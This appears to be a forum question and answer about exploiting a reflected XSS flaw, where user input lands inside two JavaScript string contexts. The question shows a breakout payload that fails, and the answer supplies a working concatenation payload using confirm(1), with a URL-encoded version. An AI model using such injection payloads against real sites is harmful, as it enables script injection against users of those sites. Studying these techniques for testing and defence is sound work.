0

I have found a XXS vulnerability, but I am not able to exploit it. My input, 66038');}confirm(1);/*, appears two times. The idea was to close the function foo1() and trigger confirm(1). But foo2 is the problem. It is not possible to initialize foo_var with the same payload. The character ) is the problem. Any ideas?

function foo1(){

    if('EUR66038');}confirm(1);/* != 'blabla'



 /*
    Some comments
   */


function foo2()
{
    var foo_var= 'EUR66038');}confirm(1);/* //Comment
...

1 Answer 1

1

The following payload will work:

EUR66038'+confirm(1)+'820

Encoded version:

EUR66038%27%2Bconfirm(1)%2B%27820

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .